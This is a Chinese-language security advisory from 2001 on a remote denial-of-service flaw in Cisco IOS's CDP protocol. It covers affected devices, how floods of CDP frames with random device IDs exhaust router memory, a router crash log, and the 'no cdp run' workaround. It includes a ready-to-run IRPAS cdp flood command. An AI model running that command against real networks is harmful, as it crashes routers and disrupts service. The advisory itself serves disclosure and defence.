使用CDP协议的CISCO IOS系统存在拒绝服务攻击
发布时间:2001-10-10
更新时间:2001-10-10
严重程度:中
威胁程度:远程拒绝服务
错误类型:设计错误
利用方式:服务器模式
受影响系统
Cisco 1005 IOS 11.1.*详细描述
Cisco 1603 IOS 11.2, 11.3.11b
Cisco 2503 IOS 12.0.19
Cisco 2600 IOS 12.1.?
Catalyst 2940XL IOS 12.0(5.1)XP
使用Cisco Discovery Protocol(CDP)协议的CISCO ISO系统存在拒绝服务攻击。
当大量使用CDP neighbor announcements,ISOISO会消耗所有内存来存储邻居
信息,设备就不能执行其他如路由更新或者接受telnet连接操作。
CDP协议是第二层协议因此独立于第三层协议,CISCO 设备定期发送更新来使自身
知道它的邻居,因为其是工作在第二层的协议,这些帧不会被路由,这样发送给
Ethernet的更新将是一个多播地址01:00:0C:CC:CC:CC。
如果cisco 设备从另一个设备中接收到CDP 帧,它会拷贝这些内容到内部数据结构,
你可以通过"show cdp neighbors"命令来查看信息。这些信息包括设备ID,兼容性,
平台和发送者端口ID。CDP 帧中也包含hold timer值来告诉邻居丢弃该信息的维持
时间,最大值为225秒。
内部数据结构看起来使用远程设备ID作为KEY,当接受到2个同样的但长的设备ID时,
一些IOS版本将不能作为同一设备ID表识并独立存储。
当使用大的包含随机设备ID和来自随机数据连接地址的CDP帧来大量冲刷网络段
时,不同的IOS版本会有不同的反映,一般包括:
+ 在3到5个帧接受到后重新启动
+ 在数千个帧后停止工作
+ 使用所有可用内存来存储CDP邻居信息知道hold timer值过期。
当内存被消耗过多时,CISCO设备将不能操作其他路由等服务。
测试代码
要发送CDP信息,你可以使用Phenoelit IRPAS工具包的中CDP 发送工具:
linuxbox# ./cdp -i eth0 -m0 -n 100000 -l 1480 -r -v
(小心使用,所有有此漏洞并在数据链路多播域中的CISCO设备都会受到影响)
Reaction of a Cisco 1603 / IOS 11.2(4):
radio#
%SYS-2-MALLOCFAIL: Memory allocation of 1480 bytes failed from
0x81B3BE6, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 80ABDCC 80ACF46 81B3BEE 81B3B72 81B276A 81B224C
radio#
%SYS-2-MALLOCFAIL: Memory allocation of 96 bytes failed from
0x81B26D2, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 80ABDCC 80ACF46 81B26DA 81B224C
%SYS-2-MALLOCFAIL: Memory allocation of 96 bytes failed from
0x81B26D2, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 80ABDCC 80ACF46 81B26DA 81B224C
radio#sh ?
% Unrecognized command
radio#show ?
% Unrecognized command
radio#
Reaction after 'debug cdp packets':
%Log packet overrun, potential memory corruption, PC 0x81B2720, format:
%s
%Log packet overrun, potential memory corruption, PC 0x81B2720, format:
%s
....[lots of these].....
%Log packet overrun, potential memory corruption, PC 0x81B2720, format:
%s
%Log packet overrun, potential memory corruption, PC 0x81B2720, format:
%s
*** BUS ERROR ***
access address = 0x5f227998
program counter = 0x80ad45a
status register = 0x2700
vbr at time of exception = 0x4000000
special status word = 0x0045
faulted cycle was a longword read
monitor: command "boot" aborted due to exception
System Bootstrap, Version .....
Copyright (c) 1994-1996 by cisco Systems, Inc.
C1600 processor with 2048 Kbytes of main memory
program load complete, entry point: 0x4018060, size: 0x1da950
解决方案
临时方法:配置'no cdp run' 命令关闭CDP协议,或者更新IOS版本。
相关信息
发现者:
FX <fx@phenoelit.de>
FtR <ftr@phenoelit.de>
kim0 <kim0@phenoelit.de>
smoovB <not disclosed>
Phenoelit Group ( http://www.phenoelit.de)
参考资料: http://www.phenoelit.de/stuff/CiscoCDP.txt